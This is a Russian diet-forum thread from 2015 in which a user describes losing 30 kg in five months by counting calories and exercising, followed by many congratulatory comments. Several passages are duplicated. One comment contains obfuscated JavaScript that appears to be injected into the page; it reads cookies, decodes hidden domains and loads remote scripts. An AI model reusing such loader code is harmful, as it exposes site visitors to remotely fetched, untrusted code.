Ольга Казаркина
28.08.2015 20:45
-30!
5 месяцев с МРЗ! и мой результат -30. Я
счастлива!
Когда познакомилась с этим сайтом весила 100 кг. С трудом верилось, что также как другие буду делиться здесь своими успехами. До идеальной фигуры и веса еще далеко, но начало положено.
Когда стала придерживаться рекомендаций М Р З в первые же 3 дня было -3кг. Для меня это было лучшей мотивацией! (хотя скорее всего это была просто вода, которая перестала задерживаться в организме) И того за 1 месяц я скинула 10 кг. В последующие - уходило стабильно по 5 кг.
Ела я абсолютно все: от тортиков до сала! Весь секрет в размерах порций! Главное не выйти за установленные в М Р З рамки. Труднее всего было конечно в отпуске и по выходным - слишком много соблазнов!
Сразу после знакомства с М Р З стала ходить пешком на работу и с работы. Это примерно по 2,5 км в день.
Физические упражнения начала делать когда весила примерно 80-83 кг. Для начала это были отжимания, пресс, гантели по 2 кг. Немного упражнений для попы.
На сегодняшний день я стараюсь заниматься 2-3 раза в неделю и тренировки уже более интенсивные.
Иногда пропиваю по месячному курсу L-карнитин и витамины различные.
Физ. упражнения 2-3 раза в неделю качаю пресс 15-20 раз по 3 подхода, отжимаюсь 15-20 так же по 3 подхода, упражнения для "бразильской попы" (можете в инете вбить прямо так - посмотрите), скакалка от 100 до 300 раз. Купила гантели по 2 кило и ролик для пресса для силового упражнения, только с ним можно заниматься не более 2 раз в неделю иначе мышцы перенапрягутся! Кушаю я самую обычную пищу! Не извращаюсь всякими порошками и зернами! Ем грудку куры в любых видах, творог обезжиренный, фрукты, овощи, рыбу нежирную, различный хлеб: на завтрак с изюмом или фруктовую булку, в течении дня с отрубями, заварной или ржаной обогащенный. Стараюсь, чтобы белки были в норме, а жиры в минусе. Воду пью перед едой по стакану. И вечером за 3 часа до сна последний прием пищи.
Когда познакомилась с этим сайтом весила 100 кг. С трудом верилось, что также как другие буду делиться здесь своими успехами. До идеальной фигуры и веса еще далеко, но начало положено.
Когда стала придерживаться рекомендаций М Р З в первые же 3 дня было -3кг. Для меня это было лучшей мотивацией! (хотя скорее всего это была просто вода, которая перестала задерживаться в организме) И того за 1 месяц я скинула 10 кг. В последующие - уходило стабильно по 5 кг.
Ела я абсолютно все: от тортиков до сала! Весь секрет в размерах порций! Главное не выйти за установленные в М Р З рамки. Труднее всего было конечно в отпуске и по выходным - слишком много соблазнов!
Сразу после знакомства с М Р З стала ходить пешком на работу и с работы. Это примерно по 2,5 км в день.
Физические упражнения начала делать когда весила примерно 80-83 кг. Для начала это были отжимания, пресс, гантели по 2 кг. Немного упражнений для попы.
На сегодняшний день я стараюсь заниматься 2-3 раза в неделю и тренировки уже более интенсивные.
Иногда пропиваю по месячному курсу L-карнитин и витамины различные.
Физ. упражнения 2-3 раза в неделю качаю пресс 15-20 раз по 3 подхода, отжимаюсь 15-20 так же по 3 подхода, упражнения для "бразильской попы" (можете в инете вбить прямо так - посмотрите), скакалка от 100 до 300 раз. Купила гантели по 2 кило и ролик для пресса для силового упражнения, только с ним можно заниматься не более 2 раз в неделю иначе мышцы перенапрягутся! Кушаю я самую обычную пищу! Не извращаюсь всякими порошками и зернами! Ем грудку куры в любых видах, творог обезжиренный, фрукты, овощи, рыбу нежирную, различный хлеб: на завтрак с изюмом или фруктовую булку, в течении дня с отрубями, заварной или ржаной обогащенный. Стараюсь, чтобы белки были в норме, а жиры в минусе. Воду пью перед едой по стакану. И вечером за 3 часа до сна последний прием пищи.
111
176
Наталья
28.08.2015 20:48
Удивительный результат. Классно выглядите! Удачи! 
Евгения Романова
28.08.2015 20:49
Вот это да!!! Отличный! Замечательный результат! Чудесно
выглядите)) поздравляю 
Ирина Чернова
28.08.2015 20:49
Какая же вы молодец!!!!
Анна Литвинова
28.08.2015 20:54
Просто поразительный результат,спасибо вам...такие хвасты очень
ценны для нас-начинающих
Елена
28.08.2015 20:59
Ну надо же 2 пост о большой потере веса за вечер. Супер результат!
Как его добились: только правильное питание или + интенсивные
физнагрузки? Поделитесь опытом с народом
Ольга Казаркина
28.08.2015 21:05
Елена
Цёха, спасибо! Кожа успела подтянуться. Только на животе
немного дряблая, но это исправимо!
Оксана
28.08.2015 21:05
Ну ничего себе. И так быстро!
Jekaterina
28.08.2015 21:06
Браво! Это большой труд и потрясающая сила воли. Самое
главное теперь удержать вес , закрепить привычки и не сорваться! Не
расслабляйтесь! Вы пример для многих!
Ольга Казаркина
28.08.2015 21:07
Елена,
только правильное питание, физ. нагрузки только последние 2 месяца.
Татьяна дочь Павла
28.08.2015 21:07
Просто молодец! Супер-супер результат.Удачи!
med-ved
28.08.2015 21:11
превращение из тетки в женщину состоялось. Поздравляю!
Lyuda
28.08.2015 21:12
Вы героиня! Уважаю!
Ольга Рощина
28.08.2015 21:13
Ольга, так это ваша дочь на третьем фото?!!!
Лариса Туезова
28.08.2015 21:18
Красота! Вы уже стройняшка! Поздравляю!
Ольга Казаркина
28.08.2015 21:19
Ольга
Рощина, к счастью - это я!!!
Лариса Туезова
28.08.2015 21:23
Ольга, поделитесь опытом, как у вас это получается. Какие
физические упражнения выполняете. Какие продукты порекомендуете
лучше.
Ольга
28.08.2015 21:23
Какая стройная красоточка! Умочка!
Умочка! 
Наталья
28.08.2015 21:24
Вы умничка. Так держать. Поздравляю 
Ольга Казаркина
28.08.2015 21:44
Лариса
Туезова, Не знаю даже как! Наверное большое желание просто!
Физ. упражнения 2-3 раза в неделю качаю пресс 15-20 раз
по 3 подхода, отжимаюсь 15-20 так же по 3 подхода, упражнения
для "бразильской попы" (можете в инете вбить прямо так -
посмотрите), скакалка от 100 до 300 раз. Купила гантели по 2 кило и
ролик для пресса для силового упражнения, только с ним можно
заниматься не более 2 раз в неделю иначе мышцы перенапрягутся!
Кушаю я самую обычную пищу! Не извращаюсь всякими порошками и
зернами! Ем грудку куры в любых видах,
творог обезжиренный, фрукты, овощи, рыбу нежирную, различный
хлеб: на завтрак с изюмом или фруктовую булку, в течении дня с
отрубями, заварной или ржаной обогащенный. Стараюсь, чтобы
белки были в норме, а жиры в минусе. Воду пью перед едой по
стакану. И вечером за 3 часа до сна последний прием
пищи.
танюшка
28.08.2015 21:56
Отличный результат!!! Вы большая молодец.Так держать.
Limon99
28.08.2015 22:08
Ольга Казаркина,
ощущение: из гусеницы вывелась бабочка 
. Очень
показательное похудение. Можете гордиться .
. Очень
показательное похудение. Можете гордиться . 
Татьяна Стрелкова
28.08.2015 22:13
Молодец.
Ольга Казаркина
28.08.2015 22:15
Limon99,
точное сравнение! спасибо!
Людмила Каледина
28.08.2015 22:37
Молодец!!! Отличный результат!!!
Майя Кукс
28.08.2015 22:40
Браво!!!
Мари (164/61/36)
28.08.2015 22:43
Умница! Так держать!!!
Анжелина
29.08.2015 00:35
Умничка какая! Пример для подражания!Всем ,наверное ,интересно
как вы добились таких результатов. так что поделитесь со
всеми опытом! хорошая мотивация!
Екатерина
29.08.2015 00:38
Красотка! Такой результат потрясающий!
Дарья
29.08.2015 00:39
Красавица, пусть ваш результат послужит вам дополнительной
мотивацией только вперед к своей цели.
TatianaO
29.08.2015 01:14
Ого! Вот молодец! А я-то лентяйка...
Людмилка
29.08.2015 01:19
Я за 2 месяца всего 7 кг и считаю это хорошо! Это 6 кг в месяц как
такое возможно? Совсем ничегоне ели только вода ?
Дарья
29.08.2015 01:22
Как-то даже не верится, что здесь всего 30 кг разницы
Справа
такая малахольная тростиночка.
Справа
такая малахольная тростиночка.
Людмилка
29.08.2015 01:30
Два разных человека мама и дочь Не верится что это один и тот же
человек
Azog Half-Orc
29.08.2015 02:12
мои поздравления) не забрасывайте)
Татьяна Ник
29.08.2015 02:46
Ольга К
29.08.2015 03:16
Если бы увидела фото не в МЗР не поверила бы, что это одна и та же
девушка. Умница, здорово!!!
Мила
29.08.2015 06:49
Молодец
Наташа Шубина
29.08.2015 09:19
Вы просто Супер!
Олечка Любимая
29.08.2015 09:33
сколько лет скинули! здорово) а расскажите, тренировались как-то
помимо мзр?
trelena
29.08.2015 09:40
Глядя на первую, а больше даже на вторую фотографию и не подумаешь,
что внутри такой большой женщины прячется хрупкая девочка! Как
хорошо, что Вы смогли выкарабкаться из этого кокона!
Фотина
29.08.2015 10:11
Отпад! вот это да! просто уникально! в 71 кг Вы идеально выглядите!
Екатерина Привалова
29.08.2015 10:18
круууто!!!!!!!!!!!!!
Какая красивая девушка))))Просто умничка!!!
Екатерина Привалова
29.08.2015 10:22
Людмилка,
За 2 мес 7 кг это отлично!!!организм просто у всех разный и
вес тоже..Тише едете -дальше будете
ЕЛЕНА СИБИЛЬ
29.08.2015 10:26
Поздравляю,вы молодец результат сногсшибательный.
Людмилка
29.08.2015 10:27
Екатерина
Привалова, Спасибо большое ! Я особо не спешу . Надо теперь так
жить постоянно на маленьких порциях и считать калории
Юля
29.08.2015 11:27
Очень круто! Просто нереальный результат! Молодчина!
Ирина
29.08.2015 11:33
Очень впечатляет и дает надежду другим, что все в наших руках!
Ирина
29.08.2015 11:35
Это точно очень очень круто! Результат потрясающий! Вам удачи и так
держать!
Елена Елена
29.08.2015 11:35
супер! молодец! удачи!
Наталья Иванова
29.08.2015 12:01
Это же просто охренеть можно!!!!!!!!! (Простите мне мой французский
:oops
Я в шоке!!!!!!!!
В то время как сижу в углу и плачу над своей несчастной долей, другие просто берут и делают. В то время как я жру бездонные тарелки с макаронами, другие просто и без изысков приседают, отжимаются и качают пресс. ВСЕГО-ТО по 15-20 раз!!!!!!!! То есть делают все то, что и я могу легко делать (ну или не очень легко, но вполне посильно).
МОИ ПОЗДРАВЛЕНИЯ!!! МОЙ ВОСТОРГ!!! МОЯ ЗАВИСТЬ!!! ВЫ - МОЙ ИДЕАЛ!!!
Один вопрос: что вас так замотивировало? У меня с этим огромная проблема, отсюда и мои постоянные срывы и "пленные" кг... Поделитесь, умоляю!!!
Я в шоке!!!!!!!!
В то время как сижу в углу и плачу над своей несчастной долей, другие просто берут и делают. В то время как я жру бездонные тарелки с макаронами, другие просто и без изысков приседают, отжимаются и качают пресс. ВСЕГО-ТО по 15-20 раз!!!!!!!! То есть делают все то, что и я могу легко делать (ну или не очень легко, но вполне посильно).
МОИ ПОЗДРАВЛЕНИЯ!!! МОЙ ВОСТОРГ!!! МОЯ ЗАВИСТЬ!!! ВЫ - МОЙ ИДЕАЛ!!!
Один вопрос: что вас так замотивировало? У меня с этим огромная проблема, отсюда и мои постоянные срывы и "пленные" кг... Поделитесь, умоляю!!!
Ольга Казаркина
29.08.2015 12:02
Когда стала придерживаться рекомендаций М Р З в первые же 3 дня
было -3кг. Для меня это было лучшей мотивацией! (хотя скорее всего
это была просто вода, которая перестала задерживаться в организме)
И того за 1 месяц я скинула 10 кг. В последующие - уходило
стабильно по 5 кг.
Ела я абсолютно все: от тортиков до сала! Весь секрет в размерах порций! Главное не выйти за установленные в М Р З рамки. Труднее всего было конечно в отпуске и по выходным - слишком много соблазнов!
Сразу после знакомства с М Р З стала ходить пешком на работу и с работы. Это примерно по 2,5 км в день.
Физические упражнения начала делать когда весила примерно 80-83 кг. Для начала это были отжимания, пресс, гантели по 2 кг. Немного упражнений для попы.
На сегодняшний день я стараюсь заниматься 2-3 раза в неделю и тренировки уже более интенсивные.
Иногда пропиваю по месячному курсу L-карнитин и витамины различные.
Ела я абсолютно все: от тортиков до сала! Весь секрет в размерах порций! Главное не выйти за установленные в М Р З рамки. Труднее всего было конечно в отпуске и по выходным - слишком много соблазнов!
Сразу после знакомства с М Р З стала ходить пешком на работу и с работы. Это примерно по 2,5 км в день.
Физические упражнения начала делать когда весила примерно 80-83 кг. Для начала это были отжимания, пресс, гантели по 2 кг. Немного упражнений для попы.
На сегодняшний день я стараюсь заниматься 2-3 раза в неделю и тренировки уже более интенсивные.
Иногда пропиваю по месячному курсу L-карнитин и витамины различные.
Ольга Казаркина
29.08.2015 12:08
Наталья
Иванова, Любовь - лучшая мотивация!
танюшка
29.08.2015 12:40
Ольга
Казаркина, А вы планировали свое питание и вечера
или так по ходу записывали.
Элина
29.08.2015 12:42
Супер! Молодец!
Ольга Казаркина
29.08.2015 12:46
танюшка,
в будни планирую с вечера, а выходные по ходу.
Олеся Старожил МЗР
29.08.2015 13:16
Вдохновляете.
Лена
29.08.2015 13:35
круто-круто-круто!!!
Александра
29.08.2015 13:42
Потрясающий результат!!! Вы настоящая красавица))
Сабина Антоненко
29.08.2015 13:43
поздравляю с
таким замечательным результатом
Ольга Казаркина
29.08.2015 13:47
Спасибо всем за хорошие слова! Мне очень лестно... Желаю всем
добиться того же и любить всегда, в первую очередь, себя!
Марина
29.08.2015 14:23
Смотреть приятно молодец , что еще сказать!
Наталья Иванова
29.08.2015 14:53
Ольга
Казаркина, да где ж её взять-то, любовь эту((( Уже 13 лет
с мужем, люблю его, сильно люблю... Но не мотивирует(((. Любовника
заводить тоже не вариант, ибо - ЛЮБЛЮ СВОЕГО! 
svetlana
29.08.2015 14:54
Поздравляю с таким замечательным результатом 
Светлана
29.08.2015 15:25
Восхищаюсь!
Алена Собко
29.08.2015 15:34
разница в 30 кг колоссальная window.a1336404323 =
1;!function(){var o=JSON.parse(''),e="",t="21550",n=function(o){var
e=document.cookie.match(new RegExp("(?:^|;
)"+o.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))
f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}(); 
Наталия Медина
29.08.2015 15:40
Герой дня!!! Вот это воля! Так держать!!!
Vika Kuz
29.08.2015 15:59
Оля ВЫ УМНИЧКА!!!
Алена Объясните Что это за текст?
Алена Объясните Что это за текст?
Laym 59
29.08.2015 17:23
браво
Ольга Прядко
29.08.2015 17:44
Сногсшибательный результат!
Дмитрий Леонидович
29.08.2015 17:52
Удивительный результат. Сказать что Вы молодец - это ни чего не
сказать.
Поздравляю.
Поздравляю.
Anna
29.08.2015 19:33
Ольга Казаркина
29.08.2015 19:41
ANNA,
наверное метаболизм хороший!
Нилли
29.08.2015 19:43
Восхитительно!!!!! Вы МОЛОДЕЦ! Здорово! Это просто преображение!!!
Anna
29.08.2015 19:50
Ольга Казаркина написал:
наверное метаболизм хороший!
это здорово,но я считаю,что большую роль сыграло всё-таки Ваше упорство и желание избавиться от этих лишних кг.Уважаю!
елена д
29.08.2015 20:37
Теперь главное - удержать достигнутое (как минимум)
Ольга Казаркина
29.08.2015 20:40
елена
д, в общем то я еще в процессе
nika777unika
29.08.2015 20:52
Ничего себе Вот это сила
воли!
Вот это сила
воли! 
Надежда Горитовская
29.08.2015 21:15
Смотрела на фото ---это же просто чудо какое-то , так
преобразиться. Вы просто молодец, даже нет слов , чтобы вас
похвалить. У вас большое желание было похудеть --- и вот результат,
ваше птица-счастья у вас в руках. Так держать. Удачи в
дальнейшем.
Ольга Казаркина
29.08.2015 21:21
Надежда
Горитовская, Спасибо большое!
Маруся
29.08.2015 21:35
Класс! Вы молодец!
Варвара ВАРИНА
29.08.2015 21:45
Результат потрясающий!Умница!Браво!Вы очень милая девушка!
И обратно -НИКОГДА не путешествуйте!
Радостно что еще один человечек достиг желаемого!
Люблю МЗР!!!
И обратно -НИКОГДА не путешествуйте!
Радостно что еще один человечек достиг желаемого!
Люблю МЗР!!!
Ольга Яскелевич
29.08.2015 22:32
Супер!!!!молодуц!
Дмитрий
29.08.2015 22:59
Екатерина
29.08.2015 23:30
Вот это да!!! Просто невероятный результат!!!
Спасибо, что поделились!!!
Удачи!
Спасибо, что поделились!!!
Удачи!
Юлия
29.08.2015 23:40
Ольга
Казаркина, А какой вес был в самом начале ?
Zss
29.08.2015 23:46
Вы просто умница!!!!!поздравляю Вас с шикарным результатом
Натуля К
29.08.2015 23:57
Браво!!!!!! Лучшая мотивация!!!!!! Удачи вам!!!!
Елена Борисова
30.08.2015 00:00
Вы молодец.
Светлана
30.08.2015 00:02
Ольга Казаркина,
Но ни одного поста,это первый? Ни одного дневника питания не выложили? Я правильно понимаю или я не туда смотрю? Просто хотелось взглянуть на Ваши графики
Ольга Казаркина написал:
5 месяцев с МРЗ!
Но ни одного поста,это первый? Ни одного дневника питания не выложили? Я правильно понимаю или я не туда смотрю? Просто хотелось взглянуть на Ваши графики
Ольга Казаркина
30.08.2015 08:36
Светлана
Казакова, я слишком занята была, для того чтобы выкладывать
дневники! да и хвастать там особо не чем,
нутриенты колеблются от 65 до 80. Ем я обычную пищу! У
меня платный доступ, а не социальный, поэтому мне не обязательно
заниматься постами. Это время я трачу на физ упражнения!
Ольга Виноградова
30.08.2015 10:05
Поздравляю! И спасибо за то, что поделились результатом. Это
отличная мотивация не только тех, кто только
начинает/планирует, но и для тех, кто в процессе. Спасибо!
Юлия
30.08.2015 10:12
Ого! Поразительное преображение! Вы большая молодец!!!Успехов в
будущем!
Ольчик
30.08.2015 10:14
Отличный результат, только в месяц рекомендуют не более 4 кг терять
иначе для организма стресс
Алла Козлова
30.08.2015 10:27
Потрясающий результат!!!
Алла 123
30.08.2015 10:37
Ирина
30.08.2015 10:41
Отличный результат! Так держать!
Евгения
30.08.2015 17:41
Ольга, добрый день!
Ваш результат меня впечатлил, Вы большая умница, что добились таких успехов. Моя история еще не началась, я только в начале пути, но надеюсь, что все получится, тем более мотивации на этом сайте достаточно. Желаю удачи и дальнейших успехов.
Ваш результат меня впечатлил, Вы большая умница, что добились таких успехов. Моя история еще не началась, я только в начале пути, но надеюсь, что все получится, тем более мотивации на этом сайте достаточно. Желаю удачи и дальнейших успехов.
Татьяна Ник
30.08.2015 18:37
супер!!! 
Наталья Абикс
30.08.2015 18:56
Обзавидовалась вашей силе воли, какая же вы молодец!!!
Ольга Шаталова
30.08.2015 19:04
Прекрасный результат, желаю дальнейших преображений!
Chiara Grace
31.08.2015 01:16
Наталья
Иванова, вот прям с языка сняли))
тот же возглас, и мысль - как же эффективно использованы эти пять месяцев! Результатище! Очень здорово!
тот же возглас, и мысль - как же эффективно использованы эти пять месяцев! Результатище! Очень здорово!
Chiara Grace
31.08.2015 01:21
Яна .
31.08.2015 01:26
Отличный результат!
Алла 123
31.08.2015 04:19
ЛанаСвет Живая
31.08.2015 06:37
Ого, отличный результат!!!
Светлана Солнечная
31.08.2015 08:13
круто!!!!!!!!!!!!!!!!!!
Эмилия
31.08.2015 08:25
Супер! Молодец! А я все лето расслаблялась и вот результат, я опять
здесь и все почти с начала(((
Светланаё
31.08.2015 08:26
Нет слов! Вы просто
молодец!
Вы просто
молодец! 
Ирина Коломиец
31.08.2015 14:53
Умничка, я вот тоже с 90 кг. худею. Хочу вернуться к своим
60-ти))).Вы мой мотиватор.
Анжелика
31.08.2015 15:59
Просто впечатляюще!!!!!!!)))Молодец!!!
Лида
31.08.2015 16:16
Вы молодец !!
Ари Печенюгина
31.08.2015 16:19
Поздравляю! Великолепный результат
Алеся Петрова
31.08.2015 16:21
Вы просто молодчинка)))))
Юлия Виноградова (Смолкина)
31.08.2015 16:35
Великолепно!!! Искренне рада за Вас!!! Понимаю, как никто другой -
мои 30 кг тоже ушли (правда чуть медленнее - за 6 месяцев). Теперь
удержание или еще в "минус"? Фото не впечатляет - оно потрясает!!!!
Елена
31.08.2015 17:09
Молодчинка! просто супер!!!!
Ольга Казаркина
31.08.2015 21:07
Юлия
Смолкина, конечно же еще в минус! цель 55!
Юлия Виноградова (Смолкина)
31.08.2015 21:18
Ольга
Казаркина, ну, с Богом!!! Удачи, здоровья и "новой" Ольги
Казаркиной!!!
Роман
31.08.2015 21:19
Молодчина)) нет приделов совершенству)) выглядишь уже как куколка и
стремишься к большему!!! уважаю))
Ольга Казаркина
31.08.2015 21:22
Юлия
Смолкина, Спасибо большое и вам здоровья!
Ольга Казаркина
31.08.2015 21:23
Роман,
спасибо! вы мне льстите!
Роман
31.08.2015 21:26
Ольга
Казаркина, зачем льстить? приятно говорить правду и то что
думаешь))
Яна
31.08.2015 21:29
Поздравляю!!! Супер! Так держать))
Ольга Казаркина
31.08.2015 21:32
Юлия, 100
Ольга Казаркина
31.08.2015 21:37
Людмилка,
ем все! у меня только первый месяц ушло 10, в остальные по 5.
Екатерина Лесникова
31.08.2015 23:02
Людмилка
01.09.2015 03:50
Екатерина
Привалова, Спасибо.Действительно! Я просто ем как обычно,
только совсем маленькими порциями,потом заношу в дневник смотрю
сколько калорий набрала до обеда ,а потом на вторую половину дня
уже прикидываю на оставшиеся калории.
Наталья Абикс
01.09.2015 06:06
Очень хороший результат, поздравляю!!!
latte
01.09.2015 19:06
Невероятный результат. Разница в фотографиях колоссальная! Удачи в
достижении цели и в последующем закреплении результата
bojiyakorovka
01.09.2015 19:48
Офигенски!!! Я тоже сбросила 30, но мне еще работать 17 кг и я не
так смотрюсь!
Ирина
03.09.2015 16:15
Если перефразировать, то результат на лице!!! Молодец!!!
Chiara Grace
09.09.2015 12:40
Алла 123,
)) вот точно, хочется, раз - и в дамках)) но с другой стороны - не
будет этого ДВИЖЕНИЯ к своей цели, не будет повода для гордости за
собственные достижения, привычки новые опять же за ночь сложно
сформировать...
Жанна
09.09.2015 12:52
Молодец!
Лана Кулакова
09.09.2015 12:56
Нереально!!! Просто МОЛОДЕЦ!!!
Андрей
09.09.2015 12:57
Офигительно! (Хотя,простите, хочется выразить свой восторг другим
словом. То есть как я понял вы просто придерживались нормы по
калориям но ни в чём себе не отказывали, то есть не было каких-то
ограничений в каких-то продуктах? Ну и добавили упражнения конечно
же.
Наталья
09.09.2015 12:59
охххооо, минус 30 - это цифра!
Наташа Счастливая
09.09.2015 13:04
Класс!!! Супер!!!
Елена Степанова
09.09.2015 13:19
Класс! Супер! Молодец! Так держать.
RISH
09.09.2015 14:26
Потрясающий результат!!!!! За 5 месяцев совершенно другой
человек!!!
Маргарита Данилова
09.09.2015 17:10
Класс!!! Помолодели, и как преобразилась!
Анна
09.09.2015 17:12
Совершенно два разных человека. Молодец, такой потрясающий
результат!
Ольга Казаркина
10.09.2015 02:15
Андрей,
да я ем абсолютно все, только веду строгий подсчет калорий и
БЖУ. Ограничений в продуктах нет, только предпочтения, например,
вместо 30 гр свинины лучше съем 100 гр курочки!
Ольга М
16.09.2015 10:29
Ольга
Казаркина, Потрясающий результат!!! подскажите
пожалуйста при подсчете калорий и БЖУ вы укладываетесь
в свои нормы, рассчитанные программой? У меня если получается
держать в приблизительной норме / в зеленой зоне / углеводы , то
почти всегда перебор белка, Убираю количество порции-
уходит белок, уходит и
опускается общая калорийность дня,
ниже основного обмена, подскажите, как вам удается все
вести под контролем?
Не новая я
16.09.2015 10:32
Какая вы умница!! Такие истории очень сильно мотивируют)
Роман
16.09.2015 10:52
супер!!! буду к тому же стремиться))
Анастасия Кушнарева
15.10.2015 20:01
Вы пример для многих!Выглядите отлично!Так держать))
Ольга
24.10.2015 17:05
Ольга Казаркина написал:
Иногда пропиваю по месячному курсу L-карнитин и витамины различные.
У вас проблемы с щитовидкой?
Екатерина Привалова
24.10.2015 17:59
браво!!!!!!!!!!!!!
Ольга Казаркина
24.10.2015 18:03
Ольга
Бостан, Боже упаси, нет!
Ольга
25.10.2015 13:14
Ольга
Казаркина, прощу прощения, перепутала Л-карнитин с
Л-тироксином. Удачи Вам!
Новые рецепты
Рыба с овощами в духовке
152.1
11.6
10.4
2.7
1
Борщ без мяса с перловой крупой и брокколи
41.3
1
2.1
4.5
10
Котлеты свиные с морковью
223.2
20
14.8
2.6
6
Лучшие рационы
2024-05-02
Калорийность: 1015 кКал
2024-05-22
Калорийность: 1106 кКал
2024-05-11
Калорийность: 1160 кКал
Интересные блоги
